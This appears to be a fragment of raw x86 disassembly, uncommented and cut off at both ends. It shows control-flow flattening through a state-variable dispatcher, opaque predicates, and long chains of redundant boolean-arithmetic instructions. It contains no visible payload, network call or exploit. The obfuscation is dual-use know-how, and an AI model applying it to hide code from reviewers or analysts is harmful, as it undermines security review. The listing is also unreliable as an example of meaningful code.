xor dh, 1
mov al, ah
and al, dh
or ch, al
mov al, 1
xor al, 1
and al, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 1
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or al, bh
or dh, bl
xor al, dh
mov bl, dl
and bl, ch
xor dl, ch
or bl, dl
mov dl, al
and dl, 1
xor al, 1
or dl, al
mov ch, bl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and bl, dh
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or ch, bl
or al, dh
xor ch, al
xor ch, 0xff
xor dl, 0xff
mov al, 1
xor al, 1
or ch, dl
or al, 1
xor ch, 0xff
and ch, al
mov dl, cl
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
mov bl, cl
and bl, dh
mov al, 1
xor al, 1
and al, 0
and dh, 1
or dl, bl
or al, dh
xor dl, al
mov bh, 1
xor bh, 0
xor dl, 0xff
mov al, 1
xor al, 0
or bh, dl
or al, 0
xor bh, 0xff
and bh, al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov dh, dl
xor dh, 0xff
mov al, cl
xor al, dh
and al, cl
mov dh, ah
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
mov cl, ah
and cl, bl
or dh, cl
mov bl, 1
xor bl, 0
mov cl, dh
xor cl, bl
and cl, dh
mov byte [ebp - 0x1bea5], cl
xor ah, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or ah, dl
or cl, 1
xor ah, 0xff
and ah, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov dl, cl
and dl, 0xff
and bh, dh
mov byte [ebp - 0x1bea7], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x1bea6], al
mov al, byte [ebp - 0x1bea7]
or dl, al
mov al, byte [ebp - 0x1bea6]
or bh, al
mov al, byte [ebp - 0x1bea5]
xor dl, bh
or cl, bl
xor cl, 0xff
or dh, 1
and cl, dh
or dl, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ah, dl
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and dl, dh
mov al, cl
xor al, 0xff
and al, 0xff
and cl, dh
or ah, dl
or al, cl
xor ah, al
mov al, ch
xor al, 0xff
mov dl, ah
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa95decff
mov ecx, 0x30b12435
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov eax, dword [0x62b5d4]
mov ecx, dword [0x62b5d0]
mov esi, 0x90e42a
add esi, 0
sub esi, 0x251ba7b7
sub esi, 0x90e42a
mov edx, eax
sub edx, 0xb5394665
add edx, esi
add edx, 0xb5394665
add edx, 0x6a5fa97c
sub edx, 0xba3d3db7
sub edx, 0x6a5fa97c
sub edx, 0x982f970
sub edx, 1
add edx, 0x982f970
sub edx, 0xddad772e
add edx, 0xba3d3db7
add edx, 0xddad772e
add edx, 0xeac7a835
add edx, 0xf1c8abdf
sub edx, 0xeac7a835
sub edx, 0xa5a5bb65
add edx, 0x251ba7b7
add edx, 0xa5a5bb65
add edx, 0x8ae4b0ef
sub edx, 0xf1c8abdf
sub edx, 0x8ae4b0ef
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl bl
mov cl, bl
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ch, bl
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ch
or al, dl
xor cl, al
mov al, ah
xor al, 0xff
mov dl, cl
and dl, al
xor cl, 0xff
mov al, ah
and al, cl
or dl, al
xor dl, 0xff
mov cl, ah
xor cl, 0xff
mov al, 1
xor al, 1
or dl, cl
or al, 1
xor dl, 0xff
and dl, al
mov ch, ah
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
mov dh, ah
and dh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov al, bl
xor al, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov ch, bl
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or ch, bl
or cl, dh
xor ch, cl
xor ch, 0xff
mov cl, ah
xor cl, ch
and cl, ah
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe0041cc3
mov ecx, 0x35cb2a3b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov eax, dword [ebp - 0x1b744]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1b7ac]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x1b65d], al
mov dword [ebp - 0x1b7b0], 0x9779b004
jmp 0x4b3015
mov ecx, dword [0x62b5d4]
mov eax, dword [0x62b5d0]
xor edi, edi
sub edi, 0x81e9bde6
sub edi, 0x341dfa96
add edi, 0x81e9bde6
xor esi, esi
sub esi, ecx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 1
add esi, 0
sub edx, 0xbcbfacb0
add edx, esi
add edx, 0xbcbfacb0
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xe45afeb
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x341dfa96
sub edx, esi
sub edx, 0xe1b85b06
sub edx, 0xe45afeb
add edx, 0xe1b85b06
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl ah
mov ch, ah
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov dh, ah
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ch, dh
or al, dl
xor ch, al
mov al, cl
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
mov dh, cl
and dh, bl
mov dl, ch
xor dl, 0xff
and dl, 0
and ch, bl
or al, dh
or dl, ch
xor al, dl
xor al, 0xff
mov ch, cl
xor ch, 0xff
mov dl, 1
xor dl, 0
or al, ch
or dl, 0
xor al, 0xff
and al, dl
mov dh, cl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov dl, cl
and dl, ch
or dh, dl
mov dl, ah
xor dl, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 0
or dl, dh
or ch, 0
xor dl, 0xff
and dl, ch
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and ah, dh
or ch, ah
xor ch, 0xff
mov ah, cl
xor ah, ch
and ah, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dl, cl
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9c944616
mov ecx, 0x32e0998d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov eax, dword [ebp - 0x1b73c]
mov ecx, dword [eax]
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
mov edx, ecx
and edx, esi
or eax, edx
xor eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xf804e132
mov edi, 0xffffffff
xor edi, 0xf804e132
mov ebx, edi
and ebx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xf804e132
and edi, 0xffffffff
or esi, ebx
or edx, edi
xor esi, edx
xor ecx, 0xffffffff
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x4ccf8317
or ecx, esi
or edx, 0x4ccf8317
xor ecx, 0xffffffff
and ecx, edx
mov edx, eax
and edx, ecx
xor eax, ecx
or edx, eax
mov ecx, 0xffffffff
xor ecx, 0x20000000
and ecx, 0xd0cfba90
mov esi, 0xffffffff
xor esi, 0xd0cfba90
mov edi, esi
and edi, 0x20000000
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xd0cfba90
and esi, 0xffffffff
or ecx, edi
or eax, esi
xor ecx, eax
mov ebx, 0xffffffff
xor ebx, 0xffffffff
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xc1e755db
or ebx, ecx
or eax, 0xc1e755db
xor ebx, 0xffffffff
and ebx, eax
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0x20c4ba83
mov ecx, 0xffffffff
xor ecx, 0x20c4ba83
mov edi, ecx
and edi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x20c4ba83
and ecx, 0xffffffff
or esi, edi
or eax, ecx
xor esi, eax
mov eax, 0xffffffff
xor eax, 0x20000000
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf8e0fdd3
or eax, esi
or ecx, 0xf8e0fdd3
xor eax, 0xffffffff
and eax, ecx
mov edi, ebx
xor edi, 0xffffffff
mov dword [ebp - 0x1c0b8], edi
mov esi, eax
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x492dcbcd
and edi, 0x492dcbcd
and ebx, ecx
mov dword [ebp - 0x1c0c0], ebx
mov ebx, esi
and ebx, 0x492dcbcd
and eax, ecx
mov dword [ebp - 0x1c0bc], eax
mov eax, dword [ebp - 0x1c0c0]
or edi, eax
mov eax, dword [ebp - 0x1c0bc]
or ebx, eax
mov eax, dword [ebp - 0x1c0b8]
xor edi, ebx
or eax, esi
xor eax, 0xffffffff
or ecx, 0x492dcbcd
and eax, ecx
or edi, eax
mov esi, 0xffffffff
xor esi, 0x205b5896
and esi, 0xd88820ee
mov ecx, 0xffffffff
xor ecx, 0xd88820ee
mov ebx, ecx
and ebx, 0x205b5896
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xd88820ee
and ecx, 0xffffffff
or esi, ebx
or eax, ecx
xor esi, eax
mov ecx, 0xffffffff
xor ecx, 0xbee74c7e
xor esi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x3e94c6fd
or ecx, esi
or eax, 0x3e94c6fd
xor ecx, 0xffffffff
and ecx, eax
mov ebx, 0xffffffff
xor ebx, 0xbee74c7e
and ebx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xbee74c7e
or ebx, eax
mov eax, ebx
xor eax, 0xffffffff
xor eax, 0x205b5896
and eax, 0x205b5896
mov dword [ebp - 0x1c0b0], eax
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
or esi, eax
mov dword [ebp - 0x1c0b4], esi
mov eax, 0xffffffff
xor eax, 0xbee74c7e
xor esi, eax
mov eax, dword [ebp - 0x1c0b4]
and esi, eax
xor ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xffffffff
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x1c098], eax
mov eax, dword [ebp - 0x1c0b0]
xor eax, 0xffffffff
mov dword [ebp - 0x1c094], eax
mov eax, 0xffffffff
xor eax, 0xa8a1035c
mov dword [ebp - 0x1c090], eax
mov eax, dword [ebp - 0x1c098]
and eax, 0xa8a1035c
mov dword [ebp - 0x1c0a8], eax
mov eax, dword [ebp - 0x1c090]
and ecx, eax
mov eax, dword [ebp - 0x1c0b0]
mov dword [ebp - 0x1c0ac], ecx
mov ecx, dword [ebp - 0x1c094]
and ecx, 0xa8a1035c
mov dword [ebp - 0x1c0a4], ecx
mov ecx, dword [ebp - 0x1c090]
and eax, ecx
mov ecx, dword [ebp - 0x1c0ac]
mov dword [ebp - 0x1c0a0], eax
mov eax, dword [ebp - 0x1c0a8]
or eax, ecx
mov ecx, dword [ebp - 0x1c0a4]
mov dword [ebp - 0x1c09c], eax
mov eax, dword [ebp - 0x1c0a0]
or ecx, eax
mov eax, dword [ebp - 0x1c09c]
xor eax, ecx
mov ecx, dword [ebp - 0x1c098]
mov dword [ebp - 0x1c08c], eax
mov eax, dword [ebp - 0x1c094]
or ecx, eax
mov eax, dword [ebp - 0x1c090]
xor ecx, 0xffffffff
or eax, 0xa8a1035c
and ecx, eax
mov eax, dword [ebp - 0x1c08c]
or eax, ecx
mov ecx, esi
and ecx, ebx
xor esi, ebx
or ecx, esi
mov ebx, eax
xor ebx, 0xffffffff
mov esi, ecx
and esi, ebx
xor ecx, 0xffffffff
and eax, ecx
or esi, eax
mov ecx, edx
xor ecx, 0xffffffff
mov ebx, edi
xor ebx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x7234cddd
or ecx, ebx
or eax, 0x7234cddd
xor ecx, 0xffffffff
and ecx, eax
mov ebx, edx
xor ebx, 0xffffffff
mov eax, edi
and eax, ebx
xor edi, 0xffffffff
and edx, edi
or eax, edx
mov ebx, ecx
xor ebx, 0xffffffff
mov dword [ebp - 0x1c084], ebx
mov edi, eax
xor edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x142087f1
and ebx, 0x142087f1
mov dword [ebp - 0x1c088], ebx
and ecx, edx
mov ebx, edi
and ebx, 0x142087f1
and eax, edx
mov dword [ebp - 0x1c080], eax
mov eax, dword [ebp - 0x1c088]
or eax, ecx
mov ecx, dword [ebp - 0x1c084]
mov dword [ebp - 0x1c07c], eax
mov eax, dword [ebp - 0x1c080]
or ebx, eax
mov eax, dword [ebp - 0x1c07c]
xor eax, ebx
or ecx, edi
xor ecx, 0xffffffff
or edx, 0x142087f1
and ecx, edx
or eax, ecx
mov dword [ebp - 0x1c034], eax
mov ebx, 0xffffffff
xor ebx, 0x205b5896
and ebx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x205b5896
or ebx, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x8f30f426
mov edx, 0xffffffff
xor edx, 0x8f30f426
mov edi, esi
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x8f30f426
and edx, 0xffffffff
or eax, edi
or ecx, edx
xor eax, ecx
mov dword [ebp - 0x1c058], eax
mov edx, 0xffffffff
xor edx, 0xaea86318
and edx, 0xd09277f6
mov ecx, 0xffffffff
xor ecx, 0xd09277f6
mov edi, ecx
and edi, 0xaea86318
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xd09277f6
and ecx, 0xffffffff
or edx, edi
or eax, ecx
xor edx, eax
mov dword [ebp - 0x1c06c], edx
mov ecx, 0xffffffff
xor ecx, 0xaea86318
mov eax, ebx
xor eax, ecx
and eax, ebx
mov ecx, 0xffffffff
xor ecx, 0x205b5896
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xeca3e61e
or ecx, edx
mov edx, dword [ebp - 0x1c058]
or edi, 0xeca3e61e
xor ecx, 0xffffffff
and ecx, edi
mov dword [ebp - 0x1c078], ecx
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xaea86318
mov ecx, 0xffffffff
xor ecx, 0xd20188dd
or edx, edi
mov edi, dword [ebp - 0x1c06c]
or ecx, 0xd20188dd
xor edx, 0xffffffff
and edx, ecx
mov ecx, dword [ebp - 0x1c078]
mov dword [ebp - 0x1c060], edx
xor edi, 0xffffffff
mov edx, esi
xor edx, edi
and edx, esi
mov edi, eax
xor edi, 0xffffffff
xor ecx, 0xffffffff
mov dword [ebp - 0x1c068], ecx
mov ecx, 0xffffffff
xor ecx, 0x160364b2
mov dword [ebp - 0x1c064], ecx
mov esi, edi
and esi, 0x160364b2
and eax, ecx
mov ecx, dword [ebp - 0x1c078]
mov dword [ebp - 0x1c074], eax
mov eax, dword [ebp - 0x1c068]
and eax, 0x160364b2
mov dword [ebp - 0x1c070], eax
mov eax, dword [ebp - 0x1c064]
and ecx, eax
mov eax, dword [ebp - 0x1c074]
or esi, eax
mov eax, dword [ebp - 0x1c070]
or eax, ecx
mov ecx, dword [ebp - 0x1c06c]
xor esi, eax
mov eax, dword [ebp - 0x1c068]
or edi, eax
mov eax, dword [ebp - 0x1c064]
xor edi, 0xffffffff
or eax, 0x160364b2
and edi, eax
mov eax, dword [ebp - 0x1c060]
or esi, edi
mov edi, eax
and edi, edx
xor eax, edx
or edi, eax
mov edx, esi
xor edx, 0xffffffff
and edx, 0x76cf7dd
mov eax, 0xffffffff
xor eax, 0x76cf7dd
and esi, eax
mov dword [ebp - 0x1c05c], esi
mov esi, edi
xor esi, 0xffffffff
and esi, 0x76cf7dd
and edi, eax
mov eax, dword [ebp - 0x1c05c]
or edx, eax
mov eax, dword [ebp - 0x1c058]
or esi, edi
xor edx, esi
mov dword [ebp - 0x1c040], edx
mov edi, ebx
xor edi, 0xffffffff
mov dword [ebp - 0x1c04c], edi
mov esi, eax
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xedbaf6bf
and edi, 0xedbaf6bf
and ebx, edx
mov dword [ebp - 0x1c054], ebx
mov ebx, esi
and ebx, 0xedbaf6bf
and eax, edx
mov dword [ebp - 0x1c050], eax
mov eax, dword [ebp - 0x1c054]
or edi, eax
mov eax, dword [ebp - 0x1c050]
or ebx, eax
mov eax, dword [ebp - 0x1c04c]
xor edi, ebx
or eax, esi
xor eax, 0xffffffff
or edx, 0xedbaf6bf
and eax, edx
or edi, eax
mov eax, edi
xor eax, 0xffffffff
and eax, 0x372c0c5c
mov esi, 0xffffffff
xor esi, 0x372c0c5c
and edi, esi
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x372c0c5c
and esi, 0xffffffff
or eax, edi
or edx, esi
xor eax, edx
mov dword [ebp - 0x1c03c], eax
mov edx, 0xffffffff
xor edx, 0xaea86318
mov ebx, ecx
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x5c8be7c5
mov esi, edx
and esi, 0x5c8be7c5
mov eax, edi
and eax, 0xaea86318
mov dword [ebp - 0x1c048], eax
mov eax, ebx
and eax, 0x5c8be7c5
mov dword [ebp - 0x1c044], eax
mov eax, dword [ebp - 0x1c048]
and ecx, edi
or esi, eax
mov eax, dword [ebp - 0x1c044]
or eax, ecx
mov ecx, dword [ebp - 0x1c040]
xor esi, eax
mov eax, dword [ebp - 0x1c03c]
or edx, ebx
xor edx, 0xffffffff
or edi, 0x5c8be7c5
and edx, edi
or esi, edx
xor eax, 0xffffffff
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x4cfebdd0
or eax, esi
or edx, 0x4cfebdd0
xor eax, 0xffffffff
and eax, edx
mov edx, ecx
xor edx, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xdbc23e25
mov ebx, edx
and ebx, 0xdbc23e25
mov dword [ebp - 0x1c038], ebx
and ecx, esi
mov ebx, edi
and ebx, 0xdbc23e25
and eax, esi
mov dword [ebp - 0x1c030], eax
mov eax, dword [ebp - 0x1c038]
or eax, ecx
mov ecx, dword [ebp - 0x1c034]
mov dword [ebp - 0x1c02c], eax
mov eax, dword [ebp - 0x1c030]
or ebx, eax
mov eax, dword [ebp - 0x1c02c]
xor eax, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0xdbc23e25
and edx, esi
or eax, edx
mov dword [ebp - 0x1c020], eax
mov ebx, ecx
xor ebx, 0xffffffff
and ebx, 0x7e63f64d
mov edx, 0xffffffff
xor edx, 0x7e63f64d
mov esi, ecx
and esi, edx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x7e63f64d
and edx, 0xffffffff
or ebx, esi
or eax, edx
xor ebx, eax
xor ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xce441f41
mov esi, 0xffffffff
xor esi, 0xce441f41
mov edi, esi
and edi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xce441f41
and esi, 0xffffffff
or edx, edi
or eax, esi
xor edx, eax
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
mov edx, ebx
xor edx, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xe90d2a54
mov ecx, edx
and ecx, 0xe90d2a54
and ebx, esi
mov dword [ebp - 0x1c028], ebx
mov ebx, edi
and ebx, 0xe90d2a54
and eax, esi
mov dword [ebp - 0x1c024], eax
mov eax, dword [ebp - 0x1c028]
or ecx, eax
mov eax, dword [ebp - 0x1c024]
or ebx, eax
mov eax, dword [ebp - 0x1c020]
xor ecx, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0xe90d2a54
and edx, esi
or ecx, edx
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and ecx, esi
or edx, ecx
mov esi, eax
xor esi, 0xffffffff
and esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or esi, eax
mov ecx, 0xffffffff
xor ecx, 0x3c34efc4
and ecx, 0x1dcf4b8e
mov edi, 0xffffffff
xor edi, 0x1dcf4b8e
mov ebx, edi
and ebx, 0x3c34efc4
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x1dcf4b8e
and edi, 0xffffffff
or ecx, ebx
or eax, edi
xor ecx, eax
mov eax, edx
and eax, esi
xor edx, esi
or eax, edx
mov edx, ecx
and edx, 0x3c34efc4
xor ecx, 0x3c34efc4
or edx, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and eax, esi
or ecx, eax
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x1b654], eax
mov dword [ebp - 0x1b7b0], 0x2e2db56f
jmp 0x4b3015
mov dword [ebp - 0x1b7b0], 0x94d81f21
jmp 0x4b3015
mov dword [ebp - 0x1b7b0], 0xcaee936b
jmp 0x4b3015
mov dl, byte [ebp - 0x1b64e]
mov eax, 0x307a77b3
mov ecx, 0x1a590df8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov ecx, dword [0x62b5d4]
mov eax, dword [0x62b5d0]
mov edx, ecx
add edx, 0xa43f7885
sub edx, 0xb73b9bb9
sub edx, 0xa43f7885
xor esi, esi
sub esi, 0x3dee0202
add edx, esi
sub edx, 0xdfb3a162
add edx, 0xb73b9bb9
add edx, 0xdfb3a162
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x327fb79c
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 1
add edx, esi
xor esi, esi
sub esi, 0x327fb79c
add edx, esi
mov esi, 0x1813a11
add esi, 0
sub esi, 0x3dee0202
sub esi, 0x1813a11
add edx, 0x8c600ef7
sub edx, esi
sub edx, 0x8c600ef7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bh
cmp eax, 0xa
setl al
mov byte [ebp - 0x1c272], al
mov cl, bh
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ah, bh
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 0
and cl, 0
mov ch, 1
xor ch, 0
and ch, 1
mov dl, 1
xor dl, 1
mov ah, dl
and ah, 0
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ch, ah
or al, dl
xor ch, al
mov bl, bh
xor bl, 0xff
mov dl, ch
xor dl, 0xff
mov al, 1
xor al, 0
or bl, dl
or al, 0
xor bl, 0xff
and bl, al
mov byte [ebp - 0x1c281], bl
mov al, 1
xor al, 1
and al, 0
mov ah, 1
xor ah, 0
mov dh, ah
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, dh
or dl, ah
xor al, dl
mov dl, 1
xor dl, 0
mov ah, al
xor ah, dl
and ah, al
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov dl, cl
xor dl, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 0
mov al, dl
and al, 0
mov byte [ebp - 0x1c280], al
and cl, dh
mov al, bl
and al, 0
mov byte [ebp - 0x1c27f], al
mov al, byte [ebp - 0x1c281]
and al, dh
mov byte [ebp - 0x1c27e], al
mov al, byte [ebp - 0x1c280]
or al, cl
mov cl, byte [ebp - 0x1c27f]
mov byte [ebp - 0x1c27d], al
mov al, byte [ebp - 0x1c27e]
or cl, al
mov al, byte [ebp - 0x1c27d]
xor al, cl
mov cl, byte [ebp - 0x1c272]
or dl, bl
xor dl, 0xff
or dh, 0
and dl, dh
or al, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov ah, al
xor ah, 0xff
mov dh, dl
and dh, ah
xor dl, 0xff
and al, dl
or dh, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov ch, cl
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or al, ch
or dl, ah
xor al, dl
xor al, 0xff
xor al, 0
and al, 0
mov ah, 1
xor ah, 0
and ah, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 0
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or ah, bl
or dl, ch
xor ah, dl
xor cl, 0xff
mov ch, ah
xor ch, 0xff
mov dl, 1
xor dl, 0
or cl, ch
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
and ch, 1
or dl, ch
xor dl, 0xff
mov bl, 1
xor bl, 0
mov ch, 1
xor ch, 0
or dl, bl
or ch, 0
xor dl, 0xff
and dl, ch
mov byte [ebp - 0x1c279], dl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x1c27a], dl
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 0
and dl, 0
and al, ch
mov byte [ebp - 0x1c27c], al
mov al, bl
and al, 0
mov byte [ebp - 0x1c27b], al
mov al, byte [ebp - 0x1c27c]
and cl, ch
or dl, al
mov al, byte [ebp - 0x1c27b]
or al, cl
mov cl, byte [ebp - 0x1c27a]
xor dl, al
mov al, byte [ebp - 0x1c279]
or cl, bl
xor cl, 0xff
or ch, 0
and cl, ch
or dl, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ch, dl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or ch, dl
or al, cl
xor ch, al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, 1
xor ah, 1
and ah, 0
mov dl, 1
xor dl, 0
mov bl, dl
and bl, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ah, bl
or al, dl
xor ah, al
mov dl, 1
xor dl, 0
xor ah, 0xff
mov al, 1
xor al, 1
or dl, ah
or al, 1
xor dl, 0xff
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x1c240], al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov dl, dh
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, dl
or al, cl
xor ah, al
mov bl, 1
xor bl, 0
and bl, 0
mov cl, 1
xor cl, 0
mov dl, cl
and dl, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, dl
or al, cl
xor bl, al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
mov cl, al
and cl, 0
mov byte [ebp - 0x1c278], cl
mov cl, 1
xor cl, 1
and cl, 0xff
and al, 1
mov byte [ebp - 0x1c277], al
mov al, byte [ebp - 0x1c278]
or dl, al
mov al, byte [ebp - 0x1c277]
or cl, al
mov al, byte [ebp - 0x1c240]
xor dl, cl
mov cl, ah
and cl, bl
xor ah, bl
or cl, ah
mov ah, dl
and ah, 0
xor dl, 0
or ah, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and cl, bl
or dl, cl
xor dl, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 1
or dl, ah
or cl, 1
xor dl, 0xff
and dl, cl
mov ah, bh
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
and bh, bl
mov cl, 1
xor cl, 1
and cl, 0xff
and bl, 1
or ah, bh
or cl, bl
xor ah, cl
mov bl, al
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
and al, cl
or bl, al
mov cl, 1
xor cl, 1
and cl, 1
mov bh, 1
